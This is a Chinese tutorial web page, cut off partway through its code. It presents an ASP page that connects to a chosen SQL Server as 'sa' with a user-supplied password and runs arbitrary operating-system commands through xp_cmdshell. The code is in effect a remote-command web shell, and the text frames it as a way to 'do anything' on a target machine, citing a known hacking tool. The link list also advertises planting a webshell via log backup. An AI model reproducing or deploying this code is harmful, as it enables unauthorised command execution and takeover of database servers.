SQLSERVER扩展存储过程XP_CMDSHELL的简单应用- MSSQL

当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

MSSQL: MS-sql 2005拒绝了对对象 ''xxx'' (数据库 ''xxx''，架构 ''dbo'')的 SELECT 权限的解决方法; MSSQL 2005 LOG备份webshell的方法; 快速将珊瑚虫IP数据库转MS SQL2005的图文教程; sql2005 远程连接问题解决方法; SQLServer 2005 列所有存储过程的语句; SQL Server 2005 模板参数使用说明; Sql Server 2005 默认端口修改方法; SQL Sever 2005 Express 安装失败解决办法; sql2005 根据指定字段排序编号; 监视SQLServer数据库镜像[图文]; sqlserver2008 拆分字符串; 字符串聚合函数(去除重复值); SQL Server 2005 同步复制技术; SqlServer2005 链接服务器用法; SQL2008中阻止保存要求重新创建表的更改的解决方法; sql rollup用法小计汇总; SQLServer 2008 Merge语句的OUTPUT功能; SQLServer 2008 新增T-SQL 简写语法; SQL Server 2005“备份集中的数据库备份与现有的数据库不同”解决方法; SQL2005 学习笔记公用表表达式(CTE)

No. « ‹ 19 20 21 22 › »

技术文章搜索

关键字

MSSQL 中的 SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-30 浏览: 120 ::

收藏到网摘: n/a

ACCESS：跨数据库查询的SQL语句在SQL Server中快速删除重复记录

XP_CMDSHELL存储过程是执行本机的CMD命令，要求系统登陆有SA权限，也就是说如果获得SQLSERVER的SA命令，那就可以在目标机为所欲为了，知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。
下面是我写的一个简单的应用页面(ASP)，代码如下。
CMD.ASP
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>
<style type="text/css">

</style>
</head>

<body>

<%if request("cmd")<>"" then%>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
</tr>
<%

dim connstr,conn,rs,i
ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
    <tr align=center>
      <td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>服务器</strong></td>
      <td width=74% class=LBR><div align="left">
          <input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
      </div></td>
    </tr>
    <tr align=center >
      <td   class=LB><b>SA密码 </b></td>
      <td   class=LBR><div align

ACCESS：跨数据库查询的SQL语句在SQL Server中快速删除重复记录

MSSQL 中的 SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

评论 (0) All